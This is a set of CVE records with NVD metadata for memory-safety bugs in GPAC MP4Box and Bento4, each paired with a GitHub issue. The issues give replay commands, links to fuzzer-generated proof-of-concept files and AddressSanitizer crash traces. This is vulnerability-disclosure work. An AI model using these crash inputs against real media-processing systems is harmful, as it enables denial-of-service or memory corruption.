#0 0x7f54a04dd87f in gf_isom_box_dump_start_ex isomedia/box_funcs.c:2074
#1 0x7f54a04dd87f in gf_isom_box_dump_start isomedia/box_funcs.c:2093
#2 0x7f54a04c0ae7 in trgt_box_dump isomedia/box_dump.c:5807
#3 0x7f54a04ddbb8 in gf_isom_box_dump isomedia/box_funcs.c:2108
#4 0x7f54a0470ffa in gf_isom_box_array_dump isomedia/box_dump.c:104
#5 0x7f54a04ddda8 in gf_isom_box_dump_done isomedia/box_funcs.c:2115
#6 0x7f54a04c09d5 in trgr_box_dump isomedia/box_dump.c:5799
#7 0x7f54a04ddbb8 in gf_isom_box_dump isomedia/box_funcs.c:2108
#8 0x7f54a04714d6 in gf_isom_dump isomedia/box_dump.c:138
#9 0x55e8639f1804 in dump_isom_xml /home/fuzz/dp/chunkfuzzer-evaluation/benchmark/gpac-asan/applications/mp4box/filedump.c:2067
#10 0x55e8639c1d79 in mp4box_main /home/fuzz/dp/chunkfuzzer-evaluation/benchmark/gpac-asan/applications/mp4box/mp4box.c:6364
#11 0x7f549f4e0c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#12 0x55e8639920a9 in _start (/home/fuzz/dp/chunkfuzzer-evaluation/benchmark/gpac-asan/bin/gcc/MP4Box+0x4e0a9)
0x604000000540 is located 0 bytes to the right of 48-byte region [0x604000000510,0x604000000540)
allocated by thread T0 here:
#0 0x7f54a2a4cb40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f54a041bd12 in trgt_box_new isomedia/box_code_base.c:10623
SUMMARY: AddressSanitizer: heap-buffer-overflow isomedia/box_funcs.c:2074 in gf_isom_box_dump_start_ex
Shadow bytes around the buggy address:
0x0c087fff8050: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff8060: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa
0x0c087fff8070: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa
0x0c087fff8080: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff8090: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00
=>0x0c087fff80a0: fa fa 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c087fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==18099==ABORTING
```
### Environment
```
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
|
heap-buffer-overflow isomedia/box_funcs.c:2074 in gf_isom_box_dump_start_ex
|
https://api.github.com/repos/gpac/gpac/issues/2280/comments
| 0 |
2022-10-09T08:31:37Z
|
2022-10-10T15:44:28Z
|
https://github.com/gpac/gpac/issues/2280
| 1,402,198,804 | 2,280 |
CVE-2022-43042
|
2022-10-19T14:15:10.227
|
GPAC 2.1-DEV-rev368-gfd054169b-master was discovered to contain a heap buffer overflow via the function FixSDTPInTRAF at isomedia/isom_intern.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2278"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2278
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
### Description
Heap-buffer-overflow in isomedia/isom_intern.c:227 in FixSDTPInTRAF
### Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.1-DEV-rev368-gfd054169b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
### Replay
```
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j$(nproc)
./bin/gcc/MP4Box -bt mp4box-bt-heap-buffer-over-flow-0
```
### POC
https://github.com/17ssDP/fuzzer_crashes/blob/main/gpac/mp4box-bt-heap-buffer-over-flow-0
### ASAN
```
[iso file] Unknown box type sjhm in parent sinf
[iso file] Unknown box type sgp00 in parent stbl
[iso file] Read Box type 00000000 (0x00000000) at position 2168 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Box "traf" (start 2028) has 458 extra bytes
[iso file] Unknown box type shgp in parent traf
=================================================================
==31145==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001914 at pc 0x7fe0339cbbf8 bp 0x7ffc2041a330 sp 0x7ffc2041a320
READ of size 1 at 0x602000001914 thread T0
#0 0x7fe0339cbbf7 in FixSDTPInTRAF isomedia/isom_intern.c:227
#1 0x7fe0339cbbf7 in gf_isom_parse_movie_boxes_internal isomedia/isom_intern.c:663
#2 0x7fe0339ce0e5 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:866
#3 0x7fe0339ce0e5 in gf_isom_open_file isomedia/isom_intern.c:986
#4 0x55ec82396048 in mp4box_main /home/fuzz/dp/chunkfuzzer-evaluation/benchmark/gpac-asan/applications/mp4box/mp4box.c:6175
#5 0x7fe032987c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#6 0x55ec823690a9 in _start (/home/fuzz/dp/chunkfuzzer-evaluation/benchmark/gpac-asan/bin/gcc/MP4Box+0x4e0a9)
0x602000001914 is located 0 bytes to the right of 4-byte region [0x602000001910,0x602000001914)
allocated by thread T0 here:
#0 0x7fe035ef3b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fe0338a4541 in sdtp_box_read isomedia/box_code_base.c:8354
SUMMARY: AddressSanitizer: heap-buffer-overflow isomedia/isom_intern.c:227 in FixSDTPInTRAF
Shadow bytes around the buggy address:
0x0c047fff82d0: fa fa 00 00 fa fa 00 00 fa fa 01 fa fa fa 00 00
0x0c047fff82e0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa fd fa
0x0c047fff82f0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff8300: fa fa 00 fa fa fa 00 00 fa fa 00 07 fa fa 00 00
0x0c047fff8310: fa fa 00 fa fa fa 00 00 fa fa 00 00 fa fa 00 00
=>0x0c047fff8320: fa fa[04]fa fa fa 00 00 fa fa 00 00 fa fa fa fa
0x0c047fff8330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8360: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8370: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==31145==ABORTING
```
### Environment
```
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
|
heap-buffer-overflow isomedia/isom_intern.c:227 in FixSDTPInTRAF
|
https://api.github.com/repos/gpac/gpac/issues/2278/comments
| 0 |
2022-10-09T08:21:31Z
|
2022-10-10T15:44:27Z
|
https://github.com/gpac/gpac/issues/2278
| 1,402,196,162 | 2,278 |
CVE-2022-43043
|
2022-10-19T14:15:10.273
|
GPAC 2.1-DEV-rev368-gfd054169b-master was discovered to contain a segmentation violation via the function BD_CheckSFTimeOffset at /bifs/field_decode.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2276"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2276
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
### Description
SEGV in BD_CheckSFTimeOffset bifs/field_decode.c:58
### Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.1-DEV-rev368-gfd054169b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
### Replay
```
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j$(nproc)
./bin/gcc/MP4Box -bt mp4box-bt-segv-0
```
### POC
https://github.com/17ssDP/fuzzer_crashes/blob/main/gpac/mp4box-bt-segv-0
### ASAN
```
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent minf
[iso file] Missing DataInformationBox
[iso file] Unknown box type 0000 in parent moov
[iso file] Read Box type 0000 (0x30303030) at position 11542 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Box "moov" (start 20) has 806 extra bytes
[iso file] Unknown top-level box type 0000
[iso file] Incomplete box 0000 - start 12356 size 808358436
[iso file] Incomplete file while reading for dump - aborting parsing
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent minf
[iso file] Missing DataInformationBox
[iso file] Unknown box type 0000 in parent moov
[iso file] Read Box type 0000 (0x30303030) at position 11542 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Box "moov" (start 20) has 806 extra bytes
[iso file] Unknown top-level box type 0000
[iso file] Incomplete box 0000 - start 12356 size 808358436
[iso file] Incomplete file while reading for dump - aborting parsing
MPEG-4 BIFS Scene Parsing
[ODF] Reading bifs config: shift in sizes (not supported)
ASAN:DEADLYSIGNAL | (00/100)
=================================================================
==64022==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x7f4bf2457608 bp 0x7fff7805fc00 sp 0x7fff7805f360 T0)
==64022==The signal is caused by a READ memory access.
==64022==Hint: address points to the zero page.
#0 0x7f4bf2457607 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b607)
#1 0x7f4befd4dd1a in BD_CheckSFTimeOffset bifs/field_decode.c:58
#2 0x7f4befd53e80 in gf_bifs_dec_sf_field bifs/field_decode.c:105
#3 0x7f4befd6a1be in BM_XReplace bifs/memory_decoder.c:355
#4 0x7f4befd6a1be in BM_ParseExtendedUpdates bifs/memory_decoder.c:398
#5 0x7f4befd754ad in BM_ParseInsert bifs/memory_decoder.c:586
#6 0x7f4befd754ad in BM_ParseCommand bifs/memory_decoder.c:908
#7 0x7f4befd7660d in gf_bifs_decode_command_list bifs/memory_decoder.c:1038
#8 0x7f4bf0743bc6 in gf_sm_load_run_isom scene_manager/loader_isom.c:303
#9 0x562cf53f8dd7 in dump_isom_scene /home/fuzz/dp/chunkfuzzer-evaluation/benchmark/gpac-asan/applications/mp4box/filedump.c:207
#10 0x562cf53d37ff in mp4box_main /home/fuzz/dp/chunkfuzzer-evaluation/benchmark/gpac-asan/applications/mp4box/mp4box.c:6336
#11 0x7f4beef6ec86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#12 0x562cf53a50a9 in _start (/home/fuzz/dp/chunkfuzzer-evaluation/benchmark/gpac-asan/bin/gcc/MP4Box+0x4e0a9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b607)
==64022==ABORTING
```
### Environment
```
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
|
SEGV BD_CheckSFTimeOffset bifs/field_decode.c:58
|
https://api.github.com/repos/gpac/gpac/issues/2276/comments
| 0 |
2022-10-09T08:13:42Z
|
2022-10-10T15:44:26Z
|
https://github.com/gpac/gpac/issues/2276
| 1,402,194,113 | 2,276 |
CVE-2022-43044
|
2022-10-19T14:15:10.317
|
GPAC 2.1-DEV-rev368-gfd054169b-master was discovered to contain a segmentation violation via the function gf_isom_get_meta_item_info at /isomedia/meta.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2282"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2282
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
### Description
SEGV in isomedia/meta.c:177 in gf_isom_get_meta_item_info
### Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.1-DEV-rev368-gfd054169b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
### Replay
```
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j$(nproc)
./bin/gcc/MP4Box -info mp4box-info-segv-1
```
### POC
https://github.com/17ssDP/fuzzer_crashes/blob/main/gpac/mp4box-info-segv-1
### ASAN
```
[iso file] Unknown box type i000000 in parent iinf
[iso file] Unknown top-level box type v000000
[iso file] Incomplete box v000000 - start 308 size 191662031
[iso file] Incomplete file while reading for dump - aborting parsing
# File Meta type: "Meta" - 3 resource item(s)
ASAN:DEADLYSIGNAL
=================================================================
==52314==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000028 (pc 0x7f4d67b428f9 bp 0x000000000000 sp 0x7ffcd749c3c0 T0)
==52314==The signal is caused by a READ memory access.
==52314==Hint: address points to the zero page.
#0 0x7f4d67b428f8 in gf_isom_get_meta_item_info isomedia/meta.c:177
#1 0x55fa2660a89e in DumpMetaItem /gpac/applications/mp4box/filedump.c:2467
#2 0x55fa26642cc8 in DumpMovieInfo /gpac/applications/mp4box/filedump.c:3820
#3 0x55fa265efee4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6359
#4 0x7f4d669cfc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#5 0x55fa265c00a9 in _start (/gpac/bin/gcc/MP4Box+0x4e0a9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV isomedia/meta.c:177 in gf_isom_get_meta_item_info
==52314==ABORTING
```
### Environment
```
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
|
SEGV isomedia/meta.c:177 in gf_isom_get_meta_item_info
|
https://api.github.com/repos/gpac/gpac/issues/2282/comments
| 0 |
2022-10-09T08:38:17Z
|
2022-10-10T15:44:29Z
|
https://github.com/gpac/gpac/issues/2282
| 1,402,200,347 | 2,282 |
CVE-2022-43045
|
2022-10-19T14:15:10.357
|
GPAC 2.1-DEV-rev368-gfd054169b-master was discovered to contain a segmentation violation via the function gf_dump_vrml_sffield at /scene_manager/scene_dump.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2277"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2277
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
### Description
SEGV scene_manager/scene_dump.c:693 in gf_dump_vrml_sffield
### Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.1-DEV-rev368-gfd054169b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
### Replay
```
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j$(nproc)
./bin/gcc/MP4Box -bt mp4box-bt-segv-1
```
### POC
https://github.com/17ssDP/fuzzer_crashes/blob/main/gpac/mp4box-bt-segv-1
### ASAN
```
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent minf
[iso file] Missing DataInformationBox
[iso file] Unknown box type 0000 in parent moov
[iso file] Read Box type 0000 (0x30303030) at position 11542 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Box "moov" (start 20) has 806 extra bytes
[iso file] Unknown top-level box type 0000
[iso file] Incomplete box 0000 - start 12356 size 808358436
[iso file] Incomplete file while reading for dump - aborting parsing
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent moov
[iso file] Unknown box type 0000 in parent minf
[iso file] Missing DataInformationBox
[iso file] Unknown box type 0000 in parent moov
[iso file] Read Box type 0000 (0x30303030) at position 11542 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Box "moov" (start 20) has 806 extra bytes
[iso file] Unknown top-level box type 0000
[iso file] Incomplete box 0000 - start 12356 size 808358436
[iso file] Incomplete file while reading for dump - aborting parsing
MPEG-4 BIFS Scene Parsing
[ODF] Reading bifs config: shift in sizes (not supported)
[MP4 Loading] Unable to fetch sample 38 from track ID 8 - aborting track import
Scene loaded - dumping 1 systems streams
ASAN:DEADLYSIGNAL
=================================================================
==42376==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x7f6a20c34c94 bp 0x60b000000720 sp 0x7ffd44396130 T0)
==42376==The signal is caused by a READ memory access.
==42376==Hint: address points to the zero page.
#0 0x7f6a20c34c93 in gf_dump_vrml_sffield scene_manager/scene_dump.c:693
#1 0x7f6a20c69012 in gf_dump_vrml_simple_field scene_manager/scene_dump.c:775
#2 0x7f6a20c5020c in DumpXReplace scene_manager/scene_dump.c:2291
#3 0x7f6a20c5020c in gf_sm_dump_command_list scene_manager/scene_dump.c:2901
#4 0x7f6a20c77d57 in gf_sm_dump scene_manager/scene_dump.c:3519
#5 0x556786082cef in dump_isom_scene /home/fuzz/dp/chunkfuzzer-evaluation/benchmark/gpac-asan/applications/mp4box/filedump.c:221
#6 0x55678605d7ff in mp4box_main /home/fuzz/dp/chunkfuzzer-evaluation/benchmark/gpac-asan/applications/mp4box/mp4box.c:6336
#7 0x7f6a1f3bac86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#8 0x55678602f0a9 in _start (/home/fuzz/dp/chunkfuzzer-evaluation/benchmark/gpac-asan/bin/gcc/MP4Box+0x4e0a9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV scene_manager/scene_dump.c:693 in gf_dump_vrml_sffield
==42376==ABORTING
```
### Environment
```
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
|
SEGV scene_manager/scene_dump.c:693 in gf_dump_vrml_sffield
|
https://api.github.com/repos/gpac/gpac/issues/2277/comments
| 0 |
2022-10-09T08:18:14Z
|
2022-10-10T15:44:26Z
|
https://github.com/gpac/gpac/issues/2277
| 1,402,195,329 | 2,277 |
CVE-2022-40885
|
2022-10-19T18:15:13.287
|
Bento4 v1.6.0-639 has a memory allocation issue that can cause denial of service.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/761"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/yangfar/CVE/blob/main/CVE-2022-40885.md"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/761
|
[
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hello,I use the fuzzer(AFL) to fuzz binary mp42avc and got some crashes which show that allocator is out of memory trying to allocate 0xXXXXXXXX bytes when method new is called.
The following is the details.
### Bug1
#### ./mp42avc ~/out/crashes/id\:000017\,sig\:06\,src\:000925+000617\,op\:splice\,rep\:128 3.avc
=================================================================
==4126303==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0xc4b26d23 bytes
#0 0x549287 in operator new[](unsigned long) (/root/Bento4/cmakebuild/mp42avc+0x549287)
#1 0x558418 in AP4_DataBuffer::AP4_DataBuffer(unsigned int) /root/Bento4/Source/C++/Core/Ap4DataBuffer.cpp:55:16
#2 0x5ec12a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:513:20
#3 0x5e7b66 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#4 0x6563c0 in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#5 0x6559d7 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#6 0x5ec3a5 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:580:20
#7 0x5e7b66 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#8 0x62e6b0 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#9 0x62e48b in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
==4126303==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory (/root/Bento4/cmakebuild/mp42avc+0x549287) in operator new[](unsigned long)
==4126303==ABORTING
